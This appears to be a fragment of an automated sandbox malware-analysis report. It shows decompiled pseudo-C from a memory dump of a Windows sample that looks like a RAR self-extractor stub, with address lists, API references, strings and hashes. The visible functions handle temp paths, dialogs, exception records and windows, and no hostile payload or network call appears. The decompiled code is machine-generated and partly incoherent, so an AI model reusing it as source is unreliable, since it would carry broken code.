					 *(__ebp + __esi * 2 - 0x588c) = __ax;
					goto L119;
					L123:
					__eflags = __ebx - 7;
					if(__ebx == 7) {
						__eflags =  *0x8b0a3c - 0x800;
						if( *0x8b0a3c == 0x800) {
							 *0x8b0a3c = 2;
						}
						 *0x8afa38 = 1;
					}
					goto L175;
				}
			}

0x00871ec5
0x00871ec5
0x00871ec5
0x00871ec8
0x00000000
0x00000000
0x00871ece
0x00871ece
0x00871ed4
0x00871ee2
0x00871ee9
0x00871eee
0x00871ef0
0x00871ef2
0x00871ef7
0x00871ef7
0x00871ef7
0x00871f0f
0x00871f1c
0x00871f21
0x00871f23
0x00000000
0x00000000
0x00871ef5
0x00871ef5
0x00871ef5
0x00871ef6
0x00871ef6
0x00871f25
0x00871f2f
0x00871f35
0x00871f3c
0x00872417
0x00872417
0x00872417
0x0087241c
0x00872420
0x00872424
0x0087242b
0x00872432
0x00872435
0x0087243a
0x0087243d
0x00872442
0x008717d3
0x008717d9
0x008717df
0x008717df
0x00000000
0x00000000
0x00000000
0x00000000
0x008717f9
0x00871810
0x00871814
0x00000000
0x00871816
0x00000000
0x00871816
0x00871814
0x0087181b
0x0087181e
0x00000000
0x00000000
0x00871824
0x00871824
0x00000000
0x0087182b
0x0087182b
0x0087182e
0x00871841
0x00871867
0x0087187b
0x0087187e
0x00871889
0x008719cd
0x008719cd
0x008719cd
0x008719db
0x008719e0
0x008719e2
0x00000000
0x00000000
0x00871893
0x0087189b
0x008718a1
0x008718a7
0x0087194d
0x00871954
0x0087195a
0x0087195d
0x00000000
0x00000000
0x0087195f
0x00871966
0x0087196c
0x0087196e
0x00000000
0x00871970
0x00871970
0x00871972
0x00871973
0x00871977
0x0087198b
0x00871990
0x0087199a
0x008719a0
0x008719a3
0x00871975
0x00871975
0x00871976
0x00000000
0x008719a5
0x008719b3
0x008719b9
0x008719bb
0x008719c7
0x008719c7
0x00000000
0x008719bb
0x008719a3
0x0087196e
0x008718ad
0x008718bc
0x008718c9
0x008718da
0x008718dd
0x008718e0
0x008718f3
0x008718fa
0x008718ff
0x00871901
0x00000000
0x00000000
0x00871907
0x0087190e
0x00871913
0x00871918
0x00871924
0x00871929
0x0087192c
0x00871933
0x00871935
0x00871936
0x00871940
0x00871946
0x00871947
0x00000000
0x00871947
0x008718e2
0x008718e9
0x008718ef
0x008718f1
0x00000000
0x00000000
0x00000000
0x008718f1
0x008719e8
0x008719e8
0x008719f2
0x008719f2
0x00000000
0x00000000
0x008719fc
0x008719fc
0x008719fe
0x00000000
0x00871a04
0x00871a04
0x00871a09
0x00871a0b
0x00871a0e
0x00871a10
0x00871a1d
0x00871a22
0x00871a23
0x00871a23
0x00871a24
0x00871a27
0x00871a29
0x00871a33
0x00871a36
0x00871a3c
0x00871a3e
0x00871a2b
0x00871a2b
0x00871a2b
0x00871a43
0x00871a45
0x00871a4e
0x00871a4e
0x00871a50
0x00871a51
0x00871a56
0x00871a5f
0x00871a60
0x00871a66
0x00871a6b
0x00871a6e
0x00871a70
0x00871a89
0x00871a89
0x00871a8b
0x00871a92
0x00871a97
0x00000000
0x00871a8b
0x00871a72
0x00871a72
0x00871a77
0x00871a79
0x00871a7b
0x00871a7b
0x00871a7d
0x00871a7d
0x00871a80
0x00871a82
0x00871a87
0x00871a88
0x00000000
0x00871a88
0x00000000
0x00871a9d
0x00871a9d
0x00871a9f
0x00871aaf
0x00871aaf
0x00000000
0x00000000
0x00871aba
0x00871aba
0x00871abc
0x00000000
0x00000000
0x00871ac2
0x00871ac2
0x00871ac9
0x00000000
0x00000000
0x00871acf
0x00871acf
0x00871ad1
0x00871ad7
0x00871ad9
0x00871ae0
0x00871ae1
0x00871ae8
0x00871aea
0x00871aea
0x00871af1
0x00871af6
0x00871afc
0x00871afe
0x00000000
0x00871b04
0x00871b04
0x00871b04
0x00871b07
0x00871b09
0x00871b0a
0x00871b0d
0x00871b36
0x00871b36
0x00871b39
0x00871c1e
0x00871c27
0x00871c2c
0x00871c2c
0x00871c2e
0x00871c2e
0x00871c30
0x00871c32
0x00871c39
0x00871c3e
0x00871c3f
0x00871c40
0x00871c42
0x00871c44
0x00871c48
0x00871c4a
0x00871c4a
0x00871c4c
0x00871c4c
0x00871c48
0x00871c50
0x00871c56
0x00871c63
0x00871c6a
0x00871c7a
0x00871c84
0x00871c92
0x00871c98
0x00871ca0
0x00871ca5
0x00871ca6
0x00871ca7
0x00871ca9
0x00871cbd
0x00871cbd
0x00000000
0x00871ca9
0x00871b3f
0x00871b3f
0x00871b42
0x00871b4f
0x00871b4f
0x00871b52
0x00871b54
0x00871b55
0x00871b57
0x00871b58
0x00871b5d
0x00871b62
0x00871b68
0x00871b6a
0x00871b6c
0x00871b6f
0x00871b76
0x00871b77
0x00871b7d
0x00871b7e
0x00871b81
0x00871b82
0x00871b83
0x00871b88
0x00871b8b
0x00871b91
0x00871b9a
0x00871b9d
0x00871ba2
0x00871ba4
0x00871ba6
0x00871ba8
0x00871ba8
0x00871baa
0x00871baa
0x00871bac
0x00871bac
0x00871bb4
0x00871bbb
0x00871bbd
0x00871bc4
0x00871bca
0x00871bcc
0x00871bcd
0x00871bd5
0x00871be4
0x00871be4
0x00871bd5
0x00871bef
0x00871bf1
0x00871c00
0x00871c06
0x00871c0c
0x00871c17
0x00871c17
0x00000000
0x00871c0c
0x00871b44
0x00871b44
0x00871b49
0x00000000
0x00000000
0x00000000
0x00871b49
0x00871b0f
0x00871b0f
0x00871b13
0x00000000
0x00000000
0x00871b15
0x00871b15
0x00871b18
0x00871b1a
0x00871b1d
0x00000000
0x00000000
0x00871b23
0x00871b2c
0x00000000
0x00871b2c
0x00000000
0x00871cc8
0x00871cc8
0x00871cc9
0x00871cce
0x00871cd0
0x00871cd3
0x00871cd3
0x00000000
0x00871d09
0x00871d09
0x00871d10
0x00871d12
0x00871d12
0x00871d14
0x00871d43
0x00871d43
0x00871d49
0x00000000
0x00871d49
0x00871d16
0x00871d16
0x00871d16
0x00871d19
0x00871d32
0x00871d32
0x00871d38
0x00871d38
0x00000000
0x00871d38
0x00871d1b
0x00871d1b
0x00871d1b
0x00871d1e
0x00000000
0x00000000
0x00871d20
0x00871d20
0x00871d20
0x00871d23
0x00000000
0x00000000
0x00871d29
0x00871d29
0x00000000
0x00000000
0x00871d96
0x00871d96
0x00871d98
0x00871d9f
0x00871da0
0x00871da6
0x00871dae
0x00871db0
0x00871db3
0x00871e63
0x00871e63
0x00871e67
0x00871e76
0x00871e76
0x00871e7a
0x00000000
0x00000000
0x00871e80
0x00871e80
0x00871e83
0x00000000
0x00000000
0x00871e89
0x00871e89
0x00871e89
0x00871e8b
0x00871e8c
0x00871e8c
0x00871e8d
0x00871e8e
0x00871e91
0x00000000
0x00871e91
0x00871e69
0x00871e69
0x00871e6c
0x00000000
0x00000000
0x00871e72
0x00871e72
0x00000000
0x00871e72
0x00871db9
0x00871db9
0x00871dbf
0x00871dc1
0x00871dc2
0x00871dc7
0x00871dc8
0x00871dc9
0x00871dcb
0x00871e60
0x00871e60
0x00000000
0x00871e60
0x00871dd1
0x00871dd1
0x00871dd1
0x00871dd4
0x00871dd7
0x00871dd9
0x00871ddc
0x00871de2
0x00871de4
0x00871de5
0x00871deb
0x00871dec
0x00871df1
0x00871df4
0x00871df6
0x00000000
0x00000000
0x00871df8
0x00871df8
0x00871dfa
0x00871dfa
0x00871dfa
0x00871e02
0x00000000
0x00000000
0x00871e04
0x00871e09
0x00871e10
0x00871e15
0x00871e1c
0x00871e1e
0x00871e20
0x00871e27
0x00871e2c
0x00871e2e
0x00871e30
0x00871e32
0x00871e32
0x00871e38
0x00871e3f
0x00871e44
0x00871e46
0x00871e48
0x00871e4a
0x00871e4a
0x00871e4b
0x00871e4d
0x00871e53
0x00871e54
0x00871e5a
0x00871e5c
0x00871e5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00871e5e
0x00000000
0x00000000
0x00000000
0x00000000
0x0087206e
0x0087206e
0x00872071
0x00872073
0x0087207a
0x0087207c
0x00872082
0x00872083
0x00872088
0x00872089
0x00872089
0x0087208e
0x00872091
0x00872097
0x00872097
0x0087209c
0x00000000
0x00000000
0x008720a8
0x008720a8
0x008720ab
0x00000000
0x00000000
0x008720b1
0x008720b1
0x008720b3
0x008720ba
0x008720c2
0x008720c8
0x008720cb
0x008720ee
0x008720f5
0x008720cd
0x008720cd
0x008720d0
0x008720e0
0x008720e7
0x008720d2
0x008720d2
0x008720d9
0x008720d9
0x008720d0
0x008720fa
0x00872108
0x0087210d
0x0087210f
0x00872116
0x00872125
0x0087212c
0x00872131
0x00872133
0x00872134
0x0087213b
0x00872187
0x0087218e
0x00872193
0x00872195
0x00000000
0x00000000
0x0087219b
0x0087219b
0x008721a2
0x008721a8
0x008721aa
0x008721ad
0x0087225f
0x0087225f
0x00000000
0x0087225f
0x008721b3
0x008721b3
0x008721b6
0x008721b6
0x008721b6
0x008721b8
0x008721b9
0x008721bc
0x008721c6
0x008721c6
0x008721c8
0x008721d2
0x008721d7
0x008721d9
0x0087223b
0x0087223b
0x00000000
0x0087223b
0x008721db
0x008721e2
0x008721e8
0x008721ed
0x008721ef
0x00000000
0x00000000
0x008721f1
0x008721f1
0x008721f3
0x008721f4
0x008721f7
0x008721f9
0x008721fc
0x00872212
0x00872212
0x00872214
0x00872216
0x0087221c
0x0087221c
0x0087221c
0x0087221f
0x00000000
0x00000000
0x00872219
0x00872219
0x00872219
0x00872219
0x00872221
0x00872221
0x00872227
0x00872229
0x0087222e
0x00872231
0x00872236
0x00000000
0x00872236
0x008721fe
0x008721fe
0x00872205
0x0087220a
0x00000000
0x0087220a
0x008721be
0x008721be
0x008721c0
0x008721c1
0x008721c4
0x00000000
0x00000000
0x00000000
0x0087223e
0x0087223e
0x00872241
0x00872244
0x00872246
0x00872246
0x0087224f
0x00872254
0x00872256
0x00872258
0x0087225a
0x0087225a
0x00000000
0x0087213d
0x0087213d
0x00872145
0x00872151
0x00872157
0x00872158
0x00872159
0x0087215e
0x0087215f
0x00872160
0x00872162
0x00872168
0x0087216a
0x0087217d
0x0087217d
0x00872264
0x00872264
0x0087226c
0x00872276
0x0087227d
0x0087227d
0x0087228a
0x00872291
0x00872296
0x0087229e
0x008722aa
0x008722aa
0x008722b7
0x008722bc
0x008722c4
0x008722ce
0x008722db
0x008722e2
0x008722e2
0x008722ef
0x008722f6
0x008722fb
0x00872303
0x00872309
0x0087230b
0x0087230b
0x00872320
0x00872325
0x00872331
0x00872333
0x00872344
0x00872351
0x00000000
0x00872335
0x00872335
0x00872340
0x00872342
0x00872356
0x00872356
0x00872362
0x0087236f
0x0087237b
0x00872382
0x00872387
0x0087238e
0x00872394
0x0087239b
0x008723a1
0x008723a8
0x008723aa
0x008723ac
0x008723ae
0x008723b0
0x008723b6
0x008723b8
0x008723ba
0x008723bc
0x008723c2
0x008723c4
0x008723ce
0x008723d1
0x008723d7
0x008723e6
0x008723eb
0x008723f2
0x008723f4
0x008723f5
0x008723fb
0x008723fc
0x008723fe
0x00872403
0x00872403
0x00000000
0x008723f2
0x00000000
0x00872342
0x00872333
0x00000000
0x0087240b
0x0087240b
0x0087240e
0x00872410
0x00872410
0x00000000
0x00000000
0x00871d55
0x00871d55
0x00871d5d
0x00871d63
0x00871d66
0x00871d8a
0x00871d68
0x00871d68
0x00871d6b
0x00871d7e
0x00871d6d
0x00871d6d
0x00871d6f
0x00871d74
0x00871d74
0x00871d6b
0x00000000
0x00000000
0x00871e9b
0x00871e9b
0x00871e9c
0x00871ea1
0x00871ea1
0x00871ea1
0x00871ea4
0x00871ea9
0x00871eaf
0x00871eaf
0x00871ebb
0x00871ebb
0x00000000
0x00000000
0x008717e0
0x008717e0
0x008717e5
0x008717e6
0x008717e7
0x008717ec
0x008717f2
0x008717f5
0x00000000
0x008717f7
0x008717f7
0x00000000
0x008717f7
0x008717f5
0x00872448
0x0087244e
0x00872456
0x00872456
0x00871f42
0x00871f42
0x00871f48
0x00000000
0x00000000
0x00871f4e
0x00871f4e
0x00871f50
0x00871f57
0x00871f5f
0x00871f60
0x00871f65
0x00871f66
0x00871f67
0x00871f69
0x00871fb9
0x00871fb9
0x00871fc0
0x00871fce
0x00871fdf
0x00871fed
0x00871fed
0x00871ff9
0x00871ffe
0x00872000
0x00872010
0x0087201a
0x0087201f
0x00872022
0x0087202d
0x0087202f
0x00872036
0x0087203c
0x0087203c
0x00000000
0x00872022
0x00871f6b
0x00871f6b
0x00871f72
0x00871f74
0x00871f77
0x00000000
0x00000000
0x00871f79
0x00871f79
0x00871f7c
0x00871f7c
0x00871f7c
0x00871f80
0x00000000
0x00000000
0x00871f82
0x00871f82
0x00871f8a
0x00871f8b
0x00871f8d
0x00871f90
0x00000000
0x00000000
0x00871f92
0x00000000
0x00871f92
0x00871f94
0x00871f9f
0x00871faa
0x00871faf
0x00871faf
0x00871fb1
0x00000000
0x00872047
0x00872047
0x0087204a
0x00872050
0x00872056
0x00872058
0x00872058
0x00872062
0x00872062
0x00000000
0x0087204a

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00871EDB

Part of subcall function 0086316F: _wcslen.LIBCMT ref: 00863175

_swprintf.LIBCMT ref: 00871F0F

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

SetDlgItemTextW.USER32(?,00000066,008AFA3A), ref: 00871F2F
_wcschr.LIBVCRUNTIME ref: 00871F60
EndDialog.USER32(?,00000001), ref: 0087203C

Strings

%s%s%u, xrefs: 00871F04

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 689974011-1360425832
Opcode ID: ee76a2b90975b3a9793cbaad6a48b28d6c5db42e8d8aa84ed3bbbdc5fc64e95a
Instruction ID: 87cf87d14d3ad2f9fc26135417ea2215a1ccee63952c4921c20300e6d6fb757f
Opcode Fuzzy Hash: ee76a2b90975b3a9793cbaad6a48b28d6c5db42e8d8aa84ed3bbbdc5fc64e95a
Instruction Fuzzy Hash: 70415E76900268AADF25EBA48C45AEA77ACFB04304F40C0A6FA0DE7555EF74DA448F61

Uniqueness

Uniqueness Score: -1.00%

Function 00877230 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00877230(void* __ebx, void* __ecx, intOrPtr __edx, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr* _v40;
				void* __edi;
				char _t60;
				signed int _t67;
				intOrPtr _t68;
				void* _t69;
				intOrPtr* _t70;
				intOrPtr _t72;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t84;
				intOrPtr _t85;
				signed int _t91;
				char _t93;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr _t102;
				void* _t108;
				void* _t109;
				intOrPtr _t110;
				intOrPtr* _t112;
				intOrPtr _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				void* _t122;
				void* _t123;
				void* _t130;

				_t105 = __edx;
				_t84 = _a4;
				_push(_t109);
				_v5 = 0;
				_v16 = 1;
				 *_t84 = E00886F37(__ecx,  *_t84);
				_t85 = _a8;
				_t6 = _t85 + 0x10; // 0x11
				_t115 = _t6;
				_push(_t115);
				_v20 = _t115;
				_v12 =  *(_t85 + 8) ^  *0x893688;
				E008771F0(_t85, __edx, _t109, _t115,  *(_t85 + 8) ^  *0x893688);
				E008782EC(_a12);
				_t60 = _a4;
				_t123 = _t122 + 0x10;
				_t110 =  *((intOrPtr*)(_t85 + 0xc));
				if(( *(_t60 + 4) & 0x00000066) != 0) {
					__eflags = _t110 - 0xfffffffe;
					if(_t110 != 0xfffffffe) {
						_t105 = 0xfffffffe;
						E008784E0(_t85, 0xfffffffe, _t115, 0x893688);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t60;
					_v28 = _a12;
					 *((intOrPtr*)(_t85 - 4)) =  &_v32;
					if(_t110 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t91 = _v12;
							_t67 = _t110 + (_t110 + 2) * 2;
							_t85 =  *((intOrPtr*)(_t91 + _t67 * 4));
							_t68 = _t91 + _t67 * 4;
							_t92 =  *((intOrPtr*)(_t68 + 4));
							_v24 = _t68;
							if( *((intOrPtr*)(_t68 + 4)) == 0) {
								_t93 = _v5;
								goto L7;
							} else {
								_t105 = _t115;
								_t69 = E00878480(_t92, _t115);
								_t93 = 1;
								_v5 = 1;
								_t130 = _t69;
								if(_t130 < 0) {
									_v16 = 0;
									L13:
									_push(_t115);
									E008771F0(_t85, _t105, _t110, _t115, _v12);
									goto L14;
								} else {
									if(_t130 > 0) {
										_t70 = _a4;
										__eflags =  *_t70 - 0xe06d7363;
										if( *_t70 == 0xe06d7363) {
											__eflags =  *0x88a5a0;
											if(__eflags != 0) {
												_t80 = E00886A20(__eflags, 0x88a5a0);
												_t123 = _t123 + 4;
												__eflags = _t80;
												if(_t80 != 0) {
													_t119 =  *0x88a5a0; // 0x875970
													 *0x88822c(_a4, 1);
													 *_t119();
													_t115 = _v20;
													_t123 = _t123 + 8;
												}
												_t70 = _a4;
											}
										}
										_t106 = _t70;
										E008784C0(_t70, _a8, _t70);
										_t72 = _a8;
										__eflags =  *((intOrPtr*)(_t72 + 0xc)) - _t110;
										if( *((intOrPtr*)(_t72 + 0xc)) != _t110) {
											_t106 = _t110;
											E008784E0(_t72, _t110, _t115, 0x893688);
											_t72 = _a8;
										}
										_push(_t115);
										 *((intOrPtr*)(_t72 + 0xc)) = _t85;
										E008771F0(_t85, _t106, _t110, _t115, _v12);
										E008784A0();
										asm("int3");
										_push(_t110);
										_t112 = _v40;
										__eflags =  *((char*)(_t112 + 4));
										if( *((char*)(_t112 + 4)) == 0) {
											L30:
											_t97 = _a4;
											_t74 =  *_t112;
											 *_t97 = _t74;
											 *((char*)(_t97 + 4)) = 0;
										} else {
											_t98 =  *_t112;
											__eflags = _t98;
											if(_t98 == 0) {
												goto L30;
											} else {
												_t108 = _t98 + 1;
												do {
													_t75 =  *_t98;
													_t98 = _t98 + 1;
													__eflags = _t75;
												} while (_t75 != 0);
												_push(_t85);
												_push(_t115);
												_t87 = _t98 - _t108 + 1;
												_push(_t98 - _t108 + 1);
												_t117 = E0087AA2B(_t98 - _t108);
												__eflags = _t117;
												if(_t117 != 0) {
													E0087D6F3(_t117, _t87,  *_t112);
													_t78 = _a4;
													_t102 = _t117;
													_t117 = 0;
													__eflags = 0;
													 *_t78 = _t102;
													 *((char*)(_t78 + 4)) = 1;
												}
												_t74 = L008787AE(_t117);
											}
										}
										return _t74;
									} else {
										goto L7;
									}
								}
							}
							goto L32;
							L7:
							_t110 = _t85;
						} while (_t85 != 0xfffffffe);
						if(_t93 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L32:
			}

0x00877230
0x00877237
0x0087723b
0x0087723c
0x00877242
0x0087724e
0x00877250
0x00877256
0x00877256
0x0087725f
0x00877261
0x00877264
0x00877267
0x0087726f
0x00877274
0x00877277
0x0087727a
0x00877281
0x008772dd
0x008772e0
0x008772e8
0x008772ef
0x00000000
0x008772ef
0x00000000
0x00877283
0x00877283
0x00877289
0x0087728f
0x00877295
0x00877300
0x00877309
0x00877297
0x00877297
0x00877297
0x0087729d
0x008772a0
0x008772a3
0x008772a6
0x008772a9
0x008772ae
0x008772c4
0x00000000
0x008772b0
0x008772b0
0x008772b2
0x008772b7
0x008772b9
0x008772bc
0x008772be
0x008772d4
0x008772f4
0x008772f4
0x008772f8
0x00000000
0x008772c0
0x008772c0
0x0087730a
0x0087730d
0x00877313
0x00877315
0x0087731c
0x00877323
0x00877328
0x0087732b
0x0087732d
0x0087732f
0x0087733c
0x00877342
0x00877344
0x00877347
0x00877347
0x0087734a
0x0087734a
0x0087731c
0x00877350
0x00877352
0x00877357
0x0087735a
0x0087735d
0x00877365
0x00877369
0x0087736e
0x0087736e
0x00877371
0x00877375
0x00877378
0x00877388
0x0087738d
0x00877391
0x00877392
0x00877395
0x00877399
0x008773e3
0x008773e3
0x008773e6
0x008773e8
0x008773ea
0x0087739b
0x0087739b
0x0087739d
0x0087739f
0x00000000
0x008773a1
0x008773a1
0x008773a4
0x008773a4
0x008773a6
0x008773a7
0x008773a7
0x008773ad
0x008773ae
0x008773af
0x008773b2
0x008773b8
0x008773bb
0x008773bd
0x008773c3
0x008773c8
0x008773cb
0x008773d0
0x008773d0
0x008773d2
0x008773d4
0x008773d4
0x008773d9
0x008773e0
0x0087739f
0x008773f0
0x008772c2
0x00000000
0x008772c2
0x008772c0
0x008772be
0x00000000
0x008772c7
0x008772c7
0x008772c9
0x008772d0
0x00000000
0x008772d2
0x00000000
0x008772d0
0x00877295
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00877267
___except_validate_context_record.LIBVCRUNTIME ref: 0087726F
_ValidateLocalCookies.LIBCMT ref: 008772F8
__IsNonwritableInCurrentImage.LIBCMT ref: 00877323
_ValidateLocalCookies.LIBCMT ref: 00877378

Strings

csm, xrefs: 0087730D

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d4915f88614ca1a7b9dfdf373878d0c0faec1754cdb587cd46a27689f5f5a04e
Instruction ID: 99cbe636276f09abe105e7b55e16eb1c9e51ee70c90702d24db007a30454a37c
Opcode Fuzzy Hash: d4915f88614ca1a7b9dfdf373878d0c0faec1754cdb587cd46a27689f5f5a04e
Instruction Fuzzy Hash: 1341A130A14209EBCF10DF68C884A9EBBA5FF44314F54C195E829DB39AD771EA11CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0086F0F5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E0086F0F5(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, char _a20) {
				struct tagRECT _v16;
				intOrPtr _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				intOrPtr _t33;
				intOrPtr _t34;
				struct HWND__* _t44;
				intOrPtr* _t52;
				void* _t60;
				WCHAR* _t67;
				struct HWND__* _t68;

				_t68 = _a8;
				_t52 = __ecx;
				 *(__ecx + 8) = _t68;
				 *((char*)(__ecx + 0x26)) = _a20;
				ShowWindow(_t68, 0);
				E0086EE24(_t52, _a4);
				if( *((intOrPtr*)(_t52 + 0x1c)) != 0) {
					L008787AE( *((intOrPtr*)(_t52 + 0x1c)));
				}
				if(_a12 != 0) {
					_push(_a12);
					_t33 = E0087BFA6(_t52, _t60);
				} else {
					_t33 = 0;
				}
				 *((intOrPtr*)(_t52 + 0x1c)) = _t33;
				if(_a16 != 0) {
					_push(_a16);
					_t34 = E0087BFA6(_t52, _t60);
				} else {
					_t34 = 0;
				}
				 *((intOrPtr*)(_t52 + 0x20)) = _t34;
				GetWindowRect(_t68,  &_v16);
				 *0x8c90dc(0,  *0x8c9128(_t68,  &_v16, 2));
				if( *(_t52 + 4) != 0) {
					 *0x8c90e4( *(_t52 + 4));
				}
				_t40 = _v36;
				_t20 = _t40 + 1; // 0x1
				_t44 =  *0x8c90ec(0, L"RarHtmlClassName", 0, 0x40000000, _t20, _v36, _v28 - _v36 - 2, _v28 - _v36,  *0x8c9128(_t68, 0,  *_t52, _t52, _t60));
				 *(_t52 + 4) = _t44;
				if( *((intOrPtr*)(_t52 + 0x10)) != 0) {
					__eflags = _t44;
					if(_t44 != 0) {
						ShowWindow(_t44, 5);
						return  *0x8c90e0( *(_t52 + 4));
					}
				} else {
					if(_t68 != 0 &&  *((intOrPtr*)(_t52 + 0x20)) == 0) {
						_t78 =  *((intOrPtr*)(_t52 + 0x1c));
						if( *((intOrPtr*)(_t52 + 0x1c)) != 0) {
							_t44 = E0086EF1E(_t78,  *((intOrPtr*)(_t52 + 0x1c)));
							_t67 = _t44;
							if(_t67 != 0) {
								ShowWindow(_t68, 5);
								SetWindowTextW(_t68, _t67);
								return L008787AE(_t67);
							}
						}
					}
				}
				return _t44;
			}

0x0086f0fe
0x0086f102
0x0086f108
0x0086f10b
0x0086f10e
0x0086f11a
0x0086f123
0x0086f128
0x0086f12d
0x0086f133
0x0086f139
0x0086f13d
0x0086f135
0x0086f135
0x0086f135
0x0086f148
0x0086f14b
0x0086f151
0x0086f155
0x0086f14d
0x0086f14d
0x0086f14d
0x0086f15b
0x0086f164
0x0086f17b
0x0086f185
0x0086f18a
0x0086f18a
0x0086f190
0x0086f19e
0x0086f1cb
0x0086f1d1
0x0086f1d8
0x0086f212
0x0086f214
0x0086f219
0x00000000
0x0086f222
0x0086f1da
0x0086f1dc
0x0086f1e3
0x0086f1e6
0x0086f1ed
0x0086f1f2
0x0086f1f6
0x0086f1fb
0x0086f203
0x00000000
0x0086f20f
0x0086f1f6
0x0086f1e6
0x0086f1dc
0x0086f22e

APIs

ShowWindow.USER32(?,00000000), ref: 0086F10E
GetWindowRect.USER32(?,00000000), ref: 0086F164
ShowWindow.USER32(?,00000005,00000000), ref: 0086F1FB
SetWindowTextW.USER32(?,00000000), ref: 0086F203
ShowWindow.USER32(00000000,00000005), ref: 0086F219

Strings

RarHtmlClassName, xrefs: 0086F1C5

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 2683112fd03d4341f0a28313855019a0b04beab700ce9a208bc871ca7687e1c5
Instruction ID: 11830863f2897bb4799636be4b98ac418aa012a698ac1b7f21259a5c04d5d021
Opcode Fuzzy Hash: 2683112fd03d4341f0a28313855019a0b04beab700ce9a208bc871ca7687e1c5
Instruction Fuzzy Hash: 43418C32004214EFCB119F64EC4EF6B7BA8FB48751F0585AAFA89D9156DB34D900CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0086EB75 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0086EB75(void* __edx, void* __eflags) {
				void* __ecx;
				signed int _t25;
				void* _t29;
				signed int _t30;
				intOrPtr _t31;
				void* _t35;
				signed int _t38;
				signed int _t45;
				void* _t51;
				signed short* _t52;
				void* _t53;
				signed short* _t55;
				signed short* _t57;
				signed short* _t58;
				void* _t59;
				void* _t60;

				_t57 =  *(_t59 + 0x10);
